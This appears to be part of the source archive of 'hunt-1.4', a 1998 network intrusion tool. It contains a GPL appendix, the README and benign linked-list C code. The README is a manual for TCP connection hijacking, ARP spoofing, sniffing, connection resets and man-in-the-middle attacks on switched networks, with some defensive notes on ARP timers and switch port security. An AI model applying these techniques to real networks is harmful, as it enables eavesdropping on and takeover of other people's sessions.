CONDITIONS Appendix: How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) 19yy This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. hunt-1.4/README100644 0 0 64464 6776074775 11362 0ustar rootroot/* * hunt * * Copyright (C) 1998 kra * Designed and implemented by kra * */ DISCLAIMER ---------- Authors are not responsible of any damages this software can cause. READ FIRST ---------- Please make sure you KNOW what you are doing before using hunt. It is recommended that you should test how it behaves on some test connections and then use it wisely. OVERVIEW -------- Hunt is a program for intruding into a connection, watching it and resetting it. It has several features, which I didn't find in any product like Juggernaut or T-sight that inspired me in my development. I found Juggernaut not flexible enough for further development so I started from scratch (see FEATURES and DESIGN OVERVIEW). Note that hunt is operating on Ethernet and is best used for connections which can be watched through it. However, it is possible to do something even for hosts on another segments or hosts that are on switched ports. The hunt doesn't distinguish between local network connections and connections going to/from Internet. It can handle all connections it sees. Connection hijacking is aimed primarily at the telnet or rlogin traffic but it can be used for another traffic too. The reset, watching, arp, ... features are common to all connections. FEATURES -------- - connection management * setting what connections you are interested in * detecting an ongoing connection (not only SYN started) * Normal active hijacking with the detection of the ACK storm * ARP spoofed/Normal hijacking with the detection of successful ARP spoof * synchronization of the true client with the server after hijacking (so that the connection don't have to be reset) * resetting connection * watching connection - daemons * reset daemon for automatic connection resetting * arp spoof/relayer daemon for arp spoofing of hosts with the ability to relay all packets from spoofed hosts. * MAC discovery daemon for collecting MAC addresses * sniff daemon for logging TCP traffic with the ability to search for a particular string - host resolving * deferred host resolving through dedicated DNS helper servers. - packet engine * extensible packet engine for watching TCP, UDP, ICMP and ARP traffic * collecting TCP connections with sequence numbers and the ACK storm detection. - misc. * determining which hosts are up - switched environment * hosts on switched ports can be spoofed, sniffed and hijacked too ------------------------------------------------------------------------------- TECHNICAL EXPLANATION ------------------------------------------------------------------------------- Let me explain some technical issues which I use in hunt and which are essential for understanding how it works and what you should expect. The important terms are IP spoofing, ARP spoofing and ACK storm. Even if you are familiar with them, you can get some new information. IP spoofing - you set the packet source address to the IP address of the host you pretend to be. ARP spoofing - you set the packet source hardware address (source MAC address) to the address of the host you pretend to be. Simple Active Attack against TCP connections - It is a well known type of attack in which you send a packet with spoofed IP addresses and possibly also with spoofed ARP addresses (true MAC addresses of client and server - not fake ones as explained further). In this way, you can force a command to the stream but you are likely to receive the ACK storm (as explained further) unless the original client host of the connection is running Linux. ARP spoofing - I use this term also for forcing the remote host to think that the host I want to be has a different MAC address so the remote host sends replies to that MAC address and the original client host is not able to receive them (but hunt is watching carefully and handles all consequences) (Explaining how to force a host on the network to think that the other host has a different MAC I leave as an exercise - I encourage you to read the source code). Please note that I use the term ARP spoofing instead of the term ARP forcing or something like that. So don't be confused, if I say ARP spoofing, I mean using some MAC address of a host or just some fake MAC address. Note that ARP spoofing (with my meaning to force some MAC) doesn't work on Solaris2.5 because it has expiration timers on ARP entries so you can't easily force Solaris to drop an ARP entry. The entry usually expires after 20min or less (but you have a chance to force it and hunt supports this mode). The expiration timers on Solaris are set by: ndd -set /dev/ip ip_ire_flush_interval 60000 /* 1 min */ ndd -set /dev/arp arp_cleanup_interval 60 /* 1 min */ and I encourage you to ask your netadmin to set the above values on all Solaris machines. The Win95/NT4sp3, Linux2.0, OSF1 V4.0, HP-UX10.20 are not protected in this way so you can easily use the described technique on them (actually, they have timers, but they are not operating like in Solaris; in fact, only Solaris is the exception). Actually, hunt uses this technique such that it wants to force a fake MAC of the server to the client and a fake MAC of the client to the server. Then both the server and the client are sending packets to that faked MACs (and hunt can of course handle them). However, it is sufficient that only one host has a fake MAC of the other host. The ACK storm can't occur in this situation either. So you can use this technique even if one end is Solaris and the other isn't. You will just succeed in the other host and that is enough. So the only problem is when the connection is between two Solaris machines. However, if there is any root connection ongoing you can easily push the commands suggested above without ARP spoofing to the connection and alter the expiration timers of the ARP cache. ACK Storm - The ACK storm is caused by majority of TCP stacks (!!! Linux2.0 is an exception !!!). Let's imagine that you send some data to an ongoing connection to the server (as if sent by the client - with expected seq. numbers, ... ). The server responds with the acknowledgment of the data you sent but this acknowledgment is received by the original client too. But from the original client point of view, the server has acknowledged data that doesn't exist on the client. So something strange occurred and the original client sends the "right" sequence number with ACK to the server. But the TCP rules say that it is required to generate an immediate acknowledgment when an out-of-order segment is received. This ACK should not be delayed. So the server sends the acknowledgment of non-existent data to the client again. And the client responses, ... Only if the source host of the connection is Linux then the ACK storm doesn't occur. Note that if you use ARP spoofing (forcing) then the ACK storm can't come because one or both ends will send packets with fake MACs and those packets are received by hunt rather than by the other host. Connection Reset - with a single properly constructed packet you can reset the connection (RST flag in TCP header). Of course, you have to know the sequence number but it is not a problem for hunt which is watching all the time. You can reset server, client, or both. When you reset only one end the other end is reset when it tries to send data to the first host which will response with RST because of the connection reset on it. Connection sniffing/watching - the simplest thing you can do is to silently sit in you chair and watch hunt output about any connection which you choose from the list. Connection Synchronization - well, that's one of the main features of hunt. If you put some data to the TCP stream (through simple active attack or ARP spoofing), you desynchronize the stream from the server/original client point of view. After some work done on that connection you can just reset it or you can try to synchronize both original ends again. That is not an easy task. The user on the client is prompted to type some chars and some chars are sent to the client and server. The main goal of all stuff is to synchronize the sequence numbers on both client and server again. Switch/Segment traffic rerouting - With ARP spoofing you can even force switch so that it will send you the traffic for hosts on another segment/switched port. This is because a switch will think that the MAC belongs to your port. Be careful if your switch has some security policy and MACs have been explicitly set up on a per port basis - but in fact I don't ever see such a configuration on "ordinary" network. ARP-relay daemon - Don't be confused. I use this term for hunt daemon which is responsible for inserting packets to the network (rerouting) of all data it receives from ARP spoofed hosts. Switched environment - Well, the hunt is now capable of watching and hijacking hosts that are on switched ports. In common you can't watch the hosts traffic on switched ports but if you first ARP spoof them (with ARP spoof daemon menu) you are able to look at the connections that are between that hosts. First you do arp spoof and the hosts will send you the traffic and from that time you can list the connections between them, then you can watch and hijack them. It is commonly accepted that the switches protect your connections again inside intruders and spoofers. Well, that is still true for carefully setuped switches. The switches that are plugged to the LAN without any port security configuration are useless in the job to protect your LAN. DESIGN OVERVIEW --------------- The development model is based on a packet engine (hunt.c) which runs in its own thread and captures packets from the network. The packet engine collects information of TCP connections/starting/termination, sequence numbers, and MAC addresses. It collects the MACs and seq. numbers from the server point of view and separate MACs and seq. numbers from the client point of view. So it is prepared for hijacking. This information (seq. num., MAC, ...) is available to modules so they don't have to analyze and collect it. Modules can register functions with the packet engine which are then invoked when new packets are received. A module function determines if the module is interested in a packet or not and can place the packet in a module specific list of packets. A module function can also send some packet to the network if it is desirable to do it very fast. The module (usually in some other thread so it needs to be scheduled to be run) then gets packets from the list and analyzes them. In this way, you can easily develop modules which perform various activities. Packets to be sent as a response to the network are described by structures so you don't have to care about some default fields or checksums. At this time, functions for TCP, ICMP and ARP traffic are already prepared. (UDP is missing because I don't use it in any module) A separate set of daemons is used for host resolving (DNS). That is because the gethostbyname/gethostbyname_r function is protected by mutex (As far as I know - it was so two years ago - I didn't try it now) so you can't run it truly parallel in a multithreaded environment. Therefore, the commonly used workaround is to fire up some helper daemons through fork which will run gethostbyname. ----------------------------------------------------------------------------- USER ENVIRONMENT ----------------------------------------------------------------------------- Command line parameters ----------------------- -V print version -v verbose (print pids of created threads) -i interface listen on this interface. Default is eth0 Well, the user environment isn't graphical but I believe that you will like it. In the title of all menus is some status information about hunt. First, there is an indication with which menu you are working. Second, the number of packets received by hunt is shown. Hunt pre-allocates some buffers for packets; the status of free and allocated buffers is displayed as the third value. The number of free buffers is low for a high loaded network or the ACK storm or if you have poor hardware. In my case, for example, the numbers 63/64 were normally indicated meaning that only one buffer was used, but after the ACK storm, I have something like 322/323. Note that the buffers once allocated are not freed. The low number of free buffers can also mean some bug in hunt but I think I carefully debugged all modules to this kind of bug. The last indicator reports which daemons (actually threads) are running. They are: R - reset daemon, Y - arp relayer, S - sniffer, M - MAC discoverer. If you switch on the verbose option you get additional information about how many packets were dropped - they were fragments (see the bugs) or were malformed, and how many packets belong to other protocols than TCP, UDP, ICMP and ARP. In the prompt for user input is indicator that will tell you through '*' char that hunt added new connection(s) to the connection list since last connection listening. General interface ----------------- In all menus the x key works as escape. The network mask is denoted by the ip_address/mask notation where mask is the number of 1's on the left side of the network mask. For example, 0.0.0.0/0 means everything and 192.168.32.10/32 means only that host. For most modules is used: l) list items a) add item m) modify item d) delete item They will be referred in this text as l) a) m) d) List/Watch/Reset connection --------------------------- You can obtain the list of connections tracked by the hunt packet engine. Which connections are tracked is specified in the options menu. You can interactively watch or reset these connections. You can also perform hijacking on them (next two menu items). ARP/Simple hijack ----------------- ARP/Simple hijack offers you an interactive interface for the insertion of data to the selected connection. You can perform ARP spoofing for both connection ends, for only one end or you can not to do it at all. If you don't do ARP spoofing then you probably receive the ACK storm after typing the first char. When you do ARP spoofing, it is checked if it succeeds. If not, you are prompted if you want to wait until it succeeds (you can interrupt this waiting through CTRL-C of course). After inserting some data to the connection you type CTRL-] and then you can synchronize or reset the connection. If you choose synchronization, the user is prompted to type some chars and after he does so the connection will be in the synchronous state. You can interrupt the synchronization process with CTRL-C and then you can reset the connection. Note that CTRL-C is used widely for interrupting an ongoing process. The CTRL-] (like telnet) is used for finishing the interactive insertion of data to the connection. The ARP/Simple hijack doesn't automatically reset the connection after it detects the ACK storm so you have to do it yourself. Note also that ARP/Simple hijack works with the ARP relayer (as described further) so that other connections are not affected. Normally, if you ARP spoof two servers then the ARP/Simple hijack handles only one selected connection between these two hosts but other connections between these two hosts look like they freeze. If you start the ARP relayer, then these other connections are handled and rerouted through. So other connections from one spoofed host to the other are not affected at all. It is recommended to run ARP relayer if you do ARP hijacking of two servers. Note that if you ARP spoof (force) some client MAC to the server then only connections going from the server to that client are affected. Other connections from the server to other machines are untouched. Simple hijack ------------- Simple hijack allows you to insert a command to the data stream of the connection. When you insert the command, hunt waits for it to complete up to a certain timeout and if the ACK storm doesn't occur, you are prompted for the next command. After that, you can synchronize or reset the connection. Note that you can use the interactive interface to simple hijack when you use ARP/simple hijack without ARP spoofing but if you use full interactive interface of ARP/simple hijack without ARP spoofing you are likely to get the ACK storm immediately after typing the first char. So this mode of hijacking is useful when you have to deal with the ACK storm because it sends your data to the connection in a single packet. When the ACK storm is in progress it is very hard to deliver other packets from hunt to the server as the network and server are congested. DAEMONS ------- I call them daemons but they are actually threads. All daemons can be started and stooped. Don't be surprised when you insert or modify some rule in a daemon and it does nothing. The daemon is not running - you have to start it. All daemons are by default stopped even though you can alter the configuration. Common commands in the daemons menu are: s) start the daemon k) stop the daemon l) list configuration items a) add config. item m) modify config. item d) delete config. item Reset daemon ------------ This daemon can be used to perform automatic resets of ongoing connections that hunt can see. You can describe which connections should be terminated by giving src/dst host/mask and src/dst ports. The SYN flag off means that all specified connections should be terminated (even ongoing). The SYN flag on means that only newly started connections are reset. So the connections that are in progress are not affected. Don't forget to start the daemon. ARP daemon ---------- Here you can do ARP spoofing of hosts. You enter src and dst addresses and desired srcMAC. The dst is then forced to think that src has srcMAC. You can use some fake MAC or better MAC of host that is currently down. You just want that the hosts will send you all the data (so you can even look at packets that are on a different segment or switched port that you will not normally see) The ARP module looks carefully for packets which will break ARP spoofing of hosts and handle them but you can even specify the refresh interval for ARP spoofing but it is not necessary to do it. Set the refresh interval only if you are experienced with some bad or strange behavior of spoofed hosts. Also there is the possibility to test the hosts for successful spoof with the ability to force that spoof - it is recommended to test the ARP spoof if something looks like it is wrong or the computer doesn't send the traffic to the hunt. The force option is handful if the first spoofing packets are discarded with switch so if you are running hunt against hosts on switched ports you can try to run the force mode by example for 10s and then break it with CTRL-C if the spoof continues to fail. The ARP relayer daemon is used to perform ARP relaying of ARP spoofed connections. When you insert some ARP spoof of hosts the ARP spoofing is performed immediately even if the relayer isn't running!!!. But if the ARP spoofing succeeds, the connections will look like they freeze. For rerouting (not IP routing !) these connections through your hunt you need to start the ARP relayer. The relayer works well with ARP/simple hijack so once you have hosts ARP spoofed with ARP relaying you can easily do ARP/simple hijack which will detect that the hosts are already ARP spoofed and takes over the connection immediately. With this technique you can easily become man in the middle from the beginning of the connection even though your host with hunt isn't an IP gateway. I encourage you to write other application specific protocol handlers for the man in the middle attack as it is really simple with this framework. Sniff daemon ------------ The purpose of the sniff daemon is to log specified packets. The sniff daemon can also search for a simple pattern (string) in the data stream (see the bugs section). You can specify which connection you are interested in, where to search (src, dst, both), what do you want to search, how many bytes you want to log, from what direction (src, dst, both) and to what file should the daemon write. All logged files are stored in the .sniff directory. The default file name for logging is composed of the host and port names. In the options submenu you can set how to log new lines (\r,\n) (as new-lines or as hex num.). MAC discovery daemon -------------------- This daemon is used to collect MAC addresses corresponding to the specified IP range. You can enter the time after which the daemon will try collecting again (default is 5min). Host up menu ------------ The host up module determines which hosts are up (with TCP/IP stack). You just specify the IP range and that space is then searched for running hosts. It is capable to determine which hosts have network interface in promiscuous mode. The promiscuous mode usually shows that the host is running some kind of sniffer/network analyzer. Options menu ------------ In the options menu you can tune different things: l) a) m) d) list/add/mod/del connection policy entry First of all you can select which connections should be tracked. The default setting is to look at telnet connections from all hosts but you can adjust this behavior by the specification of src/dst address/mask src/dst port pairs. With commands: l) a) m) d) you set what you are interested in. c) connection listening properties You can set whether the sequence numbers and MACs of ongoing connections will be displayed during connection listening. h) host resolving You can turn on resolving of hosts to their names. As the resolving is deferred you don't get the names of hosts immediately. Just try to list connections several times and you will see the hosts names. (I used this deferred approach because I didn't want any delay of interface that the resolving can cause). r) reset ACK storm timeout This timeout is used in simple hijack to automatically reset the connection after the ACK storm is detected. Note that you can receive the ACK storm even in arp/simple hijack in case you don't perform ACK spoofing of any host. s) simple hijack timeout for next cmd Simple hijack has not an interactive connection interface. That means you write the whole command which will be inserted into the connection data stream. If no data is transferred through the connection up to this timeout, you are prompted for the next command. q) ARP request/reply packets Number of request or reply packets hunt will send when it is doing arp spoofing. t) ARP request spoof through request Option whether hunt will send ARP spoof request or ARP spoof reply when it receives broadcasted ARP request which will break ARP spoof. w) switched environment Some optimization for switched environment. It works perfectly for non switched environment also. y) ARP spoof with my MAC Set the originating MAC address of sent spoofed ARP to my (hunt) ethernet MAC - sometimes helps in switched environment. e) learn MAC from IP traffic You can enable that MAC addresses will be learned from all IP traffic not just from ARP. p) number of printed lines per page in listening Self explanatory v) verbose on/off Self explanatory ---------------------------------------------------------------------------- TESTED ENVIRONMENT ---------------------------------------------------------------------------- HUNT program requirements: - Linux >= 2.2 - Glibc with linuxthreads - Ethernet Tested hosts: Linux 2.0, 2.1, 2.2, Solaris.2.5.1, NT4sp3/4, Win95, OSF V4.0D, HPUX 10.20, IRIX 6.2 Tested network equipment: BayNetworks 28115, 28200, 300 switches 3Com SuperStack II 3000, 1000 switches SECURITY NOTES -------------- Please note the already known truth that telnet and similar programs which send passwords in clear text are vulnerable to the described attacks. Programs using one time passwords are also easily attacked and in fact they are useless if someone can run a program like hunt. Only full encrypted traffic isn't vulnerable to these attacks but note that you can become a man in the middle if you use ARP spoofing (forcing) without the ACK storm and you can try to do something. Also unconfigured switch doesn't protect you from sniffing or hijacking. It is necessary to carefully configure port security on the switches in order to protect the computers on the switched ports. Detecting attacks isn't an easy task. For ARP spoofing there are tools which can detect it. The ACK storm is detectable by some sophisticated network analyzers (you can detect the pattern of the ACK storm or the statistics of ACKs without data). If you run hunt on your network you can detect the ACK storm because the hunt can detect the ACK storm pattern. PERFORMANCE NOTE ---------------- Make sure you are running hunt on idle machine with sufficient power (I used PII-233 with 128MB RAM) and without any other packet analyzer because if you use advanced features like arp spoofing or hijacking hunt needs to reply fast with it's own packets inserted into the traffic on the network. DOWNLOAD -------- This software can be found at http://www.gncz.cz/kra/index.html or at ftp://ftp.gncz.cz/pub/linux/hunt/ KNOWN BUGS ---------- - some structures are poorly locked through mutexes - if you watch connection then some escape sequences from that connection can influent your terminal. Note that your terminal is named "Linux" ("xterm" - if you run it from X, ...) but the escape sequences are for the client side terminal which may or may not be Linux so you can get some mess. - sniff is not capable to search for a pattern which crosses the packet boundary. That means it can't search for a pattern of the user typed input as this input is usually transferred with 1B data long packets. - hunt doesn't support defragmentation so the IP fragments have to be dropped. BUG FIXES, SUGGESTIONS ---------------------- Please send bug descriptions, patches, suggestions, new modules or successful stories to kra@gncz.cz ACKNOWLEDGMENTS --------------- I would like to thank Sven Ubik for his invaluable input and feedback. -------------------------------------------------------------------------- FINAL WORD -------------------------------------------------------------------------- Note that this software was written only for my fun in my free time and it was a great exercise of TCP/IP protocols. I am now familiar with seq. numbers, ACKs, timeouts, MACs, checksums, ... to the finest level. As I have some pretty good background this "hunt" challenge made me think that I hadn't known TCP/IP as great as I had thought. You are welcome to read the source code and to try to modify it or write your own modules. hunt-1.4/c/ 40755 0 0 0 6776074653 10564 5ustar rootroothunt-1.4/c/list.c100644 0 0 26413 6664056254 12017 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include #include #include #include #include #include "list.h" void list_init(struct list *l, int next_offset) { l->l_first = l->l_last = NULL; l->l_off = next_offset; l->l_iter = NULL; l->l_produce_done = 0; #ifdef _REENTRANT l->l_locked = 0; pthread_mutex_init(&l->l_mutex, NULL); pthread_cond_init(&l->l_notempty, NULL); l->l_locked_thr = (pthread_t) 0; #endif } static inline void __lock(struct list *l) { #ifdef _REENTRANT if (!l->l_locked || l->l_locked_thr != pthread_self()) pthread_mutex_lock(&l->l_mutex); #endif } static inline void __unlock(struct list *l) { #ifdef _REENTRANT if (!l->l_locked || l->l_locked_thr != pthread_self()) pthread_mutex_unlock(&l->l_mutex); #endif } void list_flush(struct list *l) { struct list_iterator *i; __lock(l); l->l_first = l->l_last = NULL; for (i = l->l_iter; i; i = i->i_next) { i->i_cur = NULL; } __unlock(l); } static inline void __update_iterators(struct list *l, void *old_item, void *new_item) { struct list_iterator *i; for (i = l->l_iter; i; i = i->i_next) { if (i->i_cur == old_item) i->i_cur = new_item; } } void list_push(struct list *l, void *m) { __lock(l); if (!(*LIST_NEXT_PTR(l, m) = l->l_first)) l->l_last = m; __update_iterators(l, l->l_first, m); l->l_first = m; __unlock(l); } static inline void __enqueue(struct list *l, void *m) { *LIST_NEXT_PTR(l, m) = NULL; /* m->next = NULL */ if (l->l_last) *LIST_NEXT_PTR(l, l->l_last) = m; /* l->l_last->next = m */ else l->l_first = m; l->l_last = m; } void list_insert_at(struct list *l, int nr, void *m) { void **p; __lock(l); p = &l->l_first; while (*p && nr--) { p = &(*LIST_NEXT_PTR(l, *p)); } *LIST_NEXT_PTR(l, m) = *p; if (*p) *p = m; else __enqueue(l, m); __update_iterators(l, *LIST_NEXT_PTR(l, m), m); __unlock(l); } void list_enqueue(struct list *l, void *m) { __lock(l); __enqueue(l, m); __unlock(l); } void list_produce(struct list *l, void *m) { __lock(l); __enqueue(l, m); #ifdef _REENTRANT pthread_cond_signal(&l->l_notempty); #endif __unlock(l); } void list_produce_start(struct list *l) { __lock(l); l->l_produce_done = 0; __unlock(l); } void list_produce_done(struct list *l) { __lock(l); l->l_produce_done = 1; #ifdef _REENTRANT pthread_cond_signal(&l->l_notempty); #endif __unlock(l); } static inline void *__pop(struct list *l) { void *retval; if ((retval = l->l_first)) { if (!(l->l_first = *LIST_NEXT_PTR(l, retval))) l->l_last = NULL; __update_iterators(l, retval, l->l_first); } return retval; } void *list_pop(struct list *l) { void *retval; __lock(l); retval = __pop(l); __unlock(l); return retval; } static void *__list_consume(struct list *l, const struct timespec *absts) { void *retval; int ret; struct timespec ts; __lock(l); #ifdef _REENTRANT while (!l->l_first && !l->l_produce_done) if (absts) { if ((ret = pthread_cond_timedwait(&l->l_notempty, &l->l_mutex, absts)) == ETIMEDOUT || ret == EINTR) break; } else { #if 0 pthread_cond_wait(&l->l_notempty, &l->l_mutex); #else /* * it can be interrupted through signal */ ts.tv_sec = 2000000000; ts.tv_nsec = 0; ret = pthread_cond_timedwait(&l->l_notempty, &l->l_mutex, &ts); if (ret == ETIMEDOUT || ret == EINTR) break; #endif } #endif retval = __pop(l); __unlock(l); return retval; } void *list_consume(struct list *l, const struct timespec *absts) { return __list_consume(l, absts); } void *list_consume_rel(struct list *l, const struct timespec *relts) { struct timeval now; struct timespec absts; gettimeofday(&now, NULL); absts.tv_sec = now.tv_sec + relts->tv_sec; absts.tv_nsec = now.tv_usec * 1000 + relts->tv_nsec; if (absts.tv_nsec >= 1000000000) { absts.tv_nsec -= 1000000000; absts.tv_sec++; } return __list_consume(l, &absts); } void *list_peek(struct list *l) { void *retval; __lock(l); retval = l->l_first; __unlock(l); return retval; } void *list_at(struct list *l, int nr) { void *retval, *p; int i; __lock(l); for (p = l->l_first, i = 0; p && i < nr; p = *LIST_NEXT_PTR(l, p), i++) ; if (p) retval = p; else retval = NULL; __unlock(l); return retval; } static inline int __func_remove(int nr, void *p, void *m) { if (p == m) return 1; else return 0; } static inline int __func_remove_at(int nr, void *p, void *m) { if (nr == (int) m) return 1; else return 0; } static inline void *__list_remove(struct list *l, int (*func)(int nr, void *, void *m), void *m) { void *retval; void **p; int nr; nr = 0; __lock(l); p = &l->l_first; while (*p) { if (func(nr, *p, m)) { /* if (*p == member) */ retval = *p; /* *p = (*p)->next */ if (!(*p = *LIST_NEXT_PTR(l, *p))) { if (!l->l_first) l->l_last = NULL; else l->l_last = LIST_THIS_PTR(l, p); } __update_iterators(l, retval, *p); __unlock(l); return retval; } p = &(*LIST_NEXT_PTR(l, *p)); /* p = &(*p)->next */ nr++; } __unlock(l); return *p; /* NULL */ } void *list_remove(struct list *l, void *m) { return __list_remove(l, __func_remove, m); } void *list_remove_at(struct list *l, int nr) { return __list_remove(l, __func_remove_at, (void *) nr); } void *list_remove_func(struct list *l, int (*func)(int nr, void *, void *m), void *m) { return __list_remove(l, func, m); } int list_count(struct list *l) { int i; void *p; __lock(l); for (i = 0, p = l->l_first; p; i++, p = *LIST_NEXT_PTR(l, p)) ; /* p = p->next */ __unlock(l); return i; } void list_lock(struct list *l) { #ifdef _REENTRANT if (!l->l_locked || l->l_locked_thr != pthread_self()) { pthread_mutex_lock(&l->l_mutex); l->l_locked_thr = pthread_self(); l->l_locked = 1; } else l->l_locked++; #endif } void list_unlock(struct list *l) { #ifdef _REENTRANT if (--l->l_locked == 0) pthread_mutex_unlock(&l->l_mutex); #endif } /* * list_iter */ void list_iter_set(struct list_iterator *i, struct list *l) { __lock(l); i->i_list = l; i->i_cur = l->l_first; i->i_next = l->l_iter; l->l_iter = i; __unlock(l); } void list_iter_end(struct list_iterator *i) { struct list_iterator **p; struct list *l; l = i->i_list; __lock(l); p = &l->l_iter; while (*p) { if (*p == i) { *p = i->i_next; break; } p = &(*p)->i_next; } __unlock(l); i->i_cur = NULL; i->i_next = NULL; i->i_list = NULL; } void *list_iter_get(struct list_iterator *i) { void *retval; struct list *l; l = i->i_list; __lock(l); retval = i->i_cur; if (retval) i->i_cur = *LIST_NEXT_PTR(l, retval); __unlock(l); return retval; } #ifdef TEST /* * * Test * */ #include #include #include #include #include #include int MAX_ITEMS = 1000; static int verbose = 0; struct test { int i; struct test *next; }; static int remove_func(int nr, void *m, void *arg) { if (((struct test *)m)->i == (int)arg) return 1; return 0; } static int verbose_print(int level, char *format, ...) { va_list ap; int retval; if (verbose >= level) { va_start(ap, format); retval = vprintf(format, ap); va_end(ap); return retval; } return 0; } int main(int argc, char *argv[]) { struct list l = LIST_INIT(struct test, next); struct list_iterator i1, i2; struct test *t, *s; int i; #if 0 struct test t1, t2, t3, t4, t5; t1.i = 1; t2.i = 2; t3.i = 3; t4.i = 4; t5.i = 5; list_enqueue(&l, &t1); printf("a %d\n", list_count(&l)); list_enqueue(&l, &t2); printf("b %d\n", list_count(&l)); // list_enqueue(&l, &t3); // list_remove(&l, &t3); list_remove(&l, &t2); printf("c %d\n", list_count(&l)); list_enqueue(&l, &t4); // list_enqueue(&l, &t5); printf("end %d\n", list_count(&l)); exit(0); #endif while ((i = getopt(argc, argv, "vi:")) != -1) { switch (i) { case 'v': ++verbose; break; case 'i': MAX_ITEMS = atoi(optarg); break; default: fprintf(stderr, "bad option\n"); exit(1); } } assert(s = malloc(sizeof(int) * MAX_ITEMS)); verbose_print(1, "start\n"); for (i = 0; i < MAX_ITEMS; i++) { assert(t = malloc(sizeof(struct test))); t->i = i; verbose_print(2, "%d ", i); list_push(&l, t); } assert(MAX_ITEMS == list_count(&l)); verbose_print(1, "\nremove even members\n"); for (i = 0; i < MAX_ITEMS; i += 2) { t = list_remove_func(&l, remove_func, (void *) i); assert(t); assert(t->i == i); verbose_print(2, "%d ", i); free(t); } verbose_print(1, "\nremove odd members\n"); for (i = MAX_ITEMS - 1; i >= 0; i -= 2) { t = list_pop(&l); assert(t); assert(t->i == i); verbose_print(2, "%d ", i); free(t); } assert(!list_pop(&l)); verbose_print(1, "\nengueue members\n"); for (i = 0; i < MAX_ITEMS; i++) { assert(t = malloc(sizeof(struct test))); t->i = i; verbose_print(2, "%d ", i); list_enqueue(&l, t); } verbose_print(1, "\niter_get/list_nr members\n"); list_iter_set(&i1, &l); for (i = 0; i < MAX_ITEMS; i++) { t = list_iter_get(&i1); assert(t); assert(t->i == i); verbose_print(2, "%d ", i); t = list_at(&l, i); assert(t); assert(t->i == i); } assert(!list_iter_get(&i1)); list_iter_end(&i1); verbose_print(1, "\n2 iter_get members\n"); list_iter_set(&i1, &l); list_iter_set(&i2, &l); while ((t = list_iter_get(&i1))) { assert(t); verbose_print(2, "%d ", t->i); t = list_iter_get(&i2); assert(t); verbose_print(2, "%d ", t->i); } assert(!list_iter_get(&i1)); assert(!list_iter_get(&i2)); list_iter_end(&i1); list_iter_end(&i2); verbose_print(1, "\niter push/pop test\n"); list_iter_set(&i1, &l); list_iter_set(&i2, &l); t = list_pop(&l); verbose_print(2, "pop item %d, ", t->i); verbose_print(2, "%d ", ((struct test *) list_iter_get(&i1))->i); verbose_print(2, "%d ", ((struct test *) list_iter_get(&i2))->i); list_push(&l, t); verbose_print(2, "%d ", ((struct test *) list_iter_get(&i1))->i); verbose_print(2, "%d ", ((struct test *) list_iter_get(&i2))->i); list_iter_end(&i1); list_iter_end(&i2); t = list_pop(&l); list_iter_set(&i1, &l); list_iter_set(&i2, &l); list_push(&l, t); verbose_print(2, "%d ", ((struct test *) list_iter_get(&i1))->i); verbose_print(2, "%d ", ((struct test *) list_iter_get(&i2))->i); list_iter_end(&i1); list_iter_end(&i2); verbose_print(1, "\npop members\n"); for (i = 0; i < MAX_ITEMS; i++) { t = list_pop(&l); assert(t); assert(t->i == i); verbose_print(2, "%d ", i); free(t); } assert(!list_pop(&l)); assert(list_count(&l) == 0); verbose_print(1, "\nenqueue members\n"); for (i = 0; i < MAX_ITEMS; i++) { s[i].i = i; verbose_print(2, "%d ", i); list_enqueue(&l, &(s[i])); } assert(list_count(&l) == MAX_ITEMS); verbose_print(1, "\nremove members\n"); for (i = MAX_ITEMS - 1; i >= 0; i--) { assert(list_remove(&l, &(s[i])) == &(s[i])); }; verbose_print(1, "\nenqueue members\n"); for (i = 0; i < MAX_ITEMS; i++) { list_enqueue(&l, &(s[i])); } verbose_print(1, "\nremove 1/2 members\n"); for (i = MAX_ITEMS - 1; i >= MAX_ITEMS / 2; i--) { assert(list_remove(&l, &(s[i])) == &(s[i])); } verbose_print(1, "\nenqueue 1/2 members\n"); for (i = MAX_ITEMS / 2; i < MAX_ITEMS; i++) { list_enqueue(&l, &(s[i])); } assert(list_count(&l) == MAX_ITEMS); verbose_print(1, "\nOK\n"); return 0; } #endif hunt-1.4/c/list.h100644 0 0 4744 6631316225 11776 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #ifndef __LIST_H #define __LIST_H #include #ifdef _REENTRANT #include #endif struct list_iterator; struct list { void *l_first; void *l_last; int l_off; int l_produce_done; struct list_iterator *l_iter; #ifdef _REENTRANT int l_locked; pthread_mutex_t l_mutex; pthread_cond_t l_notempty; pthread_t l_locked_thr; #endif }; struct list_iterator { struct list *i_list; void *i_cur; struct list_iterator *i_next; }; #define offset_of(str, next) ((char *)(&((str *)0)->next) - (char *)0) #ifdef _REENTRANT #define LIST_INIT(str, next) { NULL, NULL, offset_of(str, next), 0, NULL, \ 0, \ 